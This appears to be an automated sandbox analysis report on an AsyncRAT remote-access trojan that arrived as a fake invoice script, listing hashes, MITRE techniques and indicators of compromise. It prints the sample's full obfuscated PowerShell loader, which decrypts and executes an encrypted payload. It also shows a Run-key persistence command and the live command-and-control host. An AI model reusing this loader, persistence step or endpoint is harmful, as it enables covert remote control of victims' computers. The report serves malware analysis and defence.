asyncrat | b7db18ca4db36e201c612c229b392900577840e5d927f741fabf5bef839b03f6

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
24/07/2024, 07:36

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General

Target
INV-23072024.vbs
Size 24KB
Sample240724-jfml8sxglc
SHA256 b7db18ca4db36e201c612c229b392900577840e5d927f741fabf5bef839b03f6
MD5 34a34dad70b083609afdec67aa301d25
SHA1 9d732c12eec2e360029fd11cf5fb7ce53e46aeac
SHA512 0c90b881faae80756ebf443f90b2643e16858b2e285832f7b88d71dea96c6f7b80ef8f7966a6972d2e767ee92be69094e98778730db58de71348b315fd894ea6
SSDEEP 192:qJpGsTSprrrTkrLTUJFrrMT+TGr7fTbJRr14DJzAWA2tDnHJLJIJ0JdJSJ4J6JLc:aIPIwQy8b1MtDnN
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default discovery execution persistence rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

deopjef.duckdns.org:20245

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	5044	WScript.exe
6	5044	WScript.exe
9	5044	WScript.exe
28	2452	powershell.exe
40	2452	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\dinamiteiro.vbs"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2452 set thread context of 4848	2452	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2452	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	4848	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 2452	5044	WScript.exe	87
PID 5044 wrote to memory of 2452	5044	WScript.exe	87
PID 2452 wrote to memory of 2544	2452	powershell.exe	97
PID 2452 wrote to memory of 2544	2452	powershell.exe	97
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99
PID 2452 wrote to memory of 4848	2452	powershell.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INV-23072024.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI20724724405927210805709614137553CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI1Fh22ms+KvpEh1IJ+72lSZDMdqRlp+HepTXQoQcG61YiB+OwKd2JLmXgv0LhnCskRQdm3mKIIoUnPz9JPDeACmxvlGb+mw+fABxwCOhiLARltdO7oCUmv8EdYKbHFu/0V48mjJ0tfVSi5atJ4DN0yU0Rw3vdK6eKKD8tRTqKMhpmduUKF4mNKu6/fqIhjA7PUspiyhn52joH1bgfYvLFloyfih/ae6r1GhZLGNdfn7GX1hHx2ifaImJGSllfmuK1QBe73y89HIVPcDXb5nyKHWqO6GRzd+M4OmHXLthjp99hHl+/+AoyOGcL0NuSVS5vPzJTxkWMayXuszqNtOobBFzoZZITTMrdEWsbw2h1bqVJAsX5Ipx/1ooceJ8WIjs+Kdtu50/s5Ie/NmBrwPj5/TtosZtBovOmWYSMixoqkr1RmyvT7FSAqZRd0I57aUFmafb11W+AFzdsFM9hfxsaDvSMVtbIQMvwy4cOnUnx+OYhz4Kp7gEYfJJ2FcLGkcVYIdS1vCLq9wPucmlLLBuQEf+BIa+L749qxL9ybvVllP8SNVm1KDP2ca9xqsn6fY7ISCY3ttusiNRiuyZNQyO4D0cuM1yYVXw1dfL8xMbbTz9eVl2pctz34e3TFWwQPQnbwf93RPudKR3o/n6mQ8fUvXTGgSaZQJfoDvHGEjoZjrJ6/zpHmrP5P89YvuCciRFQxG4PO7aQFIyvuPLAKSUJzs/l6UNgPdsNTnZoSKxXHIBDULZclKXwfl7rFYpF72KKQuL92c6Lps4NbX5FleyLaOYe9sPwYz5x91JyFNK52UMpwaAIGathvwFNy1DquBzEEtY2MafTKRGCcGjmRkzrGf7xralpypWX6BfhymXTsPVfMxcKWsizbQC5M6AhsyT3lfjH9ezzYmGaS7wAHctiQLxpYMtfaY4npUVn8j+rqDsvUF0zMSPrdiZ8+HUcFb/pISo4qBcOYpsWd1Tz/2GJdRcR1VF2d+VF8rJE+uQ8d8lmxr/zwzoiFO9DiBgnd6TNB56Cy2NtILU1i0t6UczU+4Irba048MbrjeFbR/c5UDi3Q5CYp4uYX5e8NJExmaD126k6Ipk/AgXLjBf2ZaAHsdgYhkaUpizKShT1SxHLWB+mWEdKYncjjlCGqWonMd+yS5I4SNEmQh/DahXhyuGLrN/9H2KsWr/BhQwhkEIKQqwv7xCWOkHVtarw3mBcJMvEI552QEbKCI4zJo0rknLkEmvnIJpq4IoQHkGWXSLUfU/ScqQpC7Zra/KH1eS9LyF/qWWgSJywj5R0MKd5RoE2/4M4ulvkLN/VWEG48cDEPKvOESM/0t9Bh6EwiwGkFiEqJTP71OYXZE23acyTBcW4CgakSofXEnMzvnv0F/OEwLXQpr9LGT/QyC10MwHCpXFsddG9IAUapxS6wEJPii4/kKt1nzsn2DKKu9eNXPIHcaMzIsX87cYZ2BEH1yTBpg0lG+qfbobEKEHzWgg7eD/IMJGXe9EprtT6BI7onzOzLd+wG6TpZRWrj8Bgsiy/5RFtO405jcpO+/830QGe6fEzCHdCIVsqtJHiinRU20bNQm3/apxTfy7Rh62KggiLrSzFFFgSPLFxieGZyggZoTdPlehkk35oSchFh8VAVUJo6eUmgjUr0hVKcsJVvBUKtOe+nIXEUzwkGmORl2v+qUXuhGoVPev4xPOOTcP6pHpOOaWALM6uPoK2OoXmD1ekpfC7ijWhqG/RFQLEtZMQVO6fEX/AGADGYGnLGOPvWGy6abKPVZXB7gxvIlEQeBJJHZqopb7z8LQps/DpzjG22Jivm46aheO/UpcgcLzPExaPTtcjNApdkFlP1nczf5cIsnqjuXLZUdruPA1ZgR7UxAj8ZZRPfD8hgsgR8675ZcMdkzqf4gAyuO6PuPNeFxshX1msCjr+t9H+mD0FRUILjquzcwxTYEqqIBpG3PsvaYWHw17gH8nQu/CZAF+lRm3cGTyNCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\dinamiteiro.vbs"
    3⤵
    PID:2544
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

paste1[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PE7M7D0W\paste1[1].txt
Size 156B
SHA256 ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c
MD5 ad6c37ef980373e9bcbd14810fad34bc
SHA1 9c061a1b3608b7c7f1db7cd06c8246913ee11bda
SHA512 30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f
MD5 SHA1 SHA512

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__PSScriptPolicyTest_vg4tm0rt.eyw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vg4tm0rt.eyw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2452-27-0x00007FF9DAC20000-0x00007FF9DB6E1000-memory.dmp

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memory/2452-14-0x00007FF9DAC23000-0x00007FF9DAC25000-memory.dmp

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memory/2452-25-0x00007FF9DAC20000-0x00007FF9DB6E1000-memory.dmp

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memory/2452-26-0x00007FF9DAC20000-0x00007FF9DB6E1000-memory.dmp

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memory/2452-15-0x000001FB1FED0000-0x000001FB1FEF2000-memory.dmp

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memory/2452-28-0x000001FB304C0000-0x000001FB306AC000-memory.dmp

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memory/2452-33-0x00007FF9DAC20000-0x00007FF9DB6E1000-memory.dmp

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memory/4848-30-0x0000000000400000-0x0000000000416000-memory.dmp

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memory/4848-36-0x0000000005D30000-0x0000000005DCC000-memory.dmp

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memory/4848-37-0x0000000006380000-0x0000000006924000-memory.dmp

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memory/4848-38-0x0000000005E40000-0x0000000005EA6000-memory.dmp

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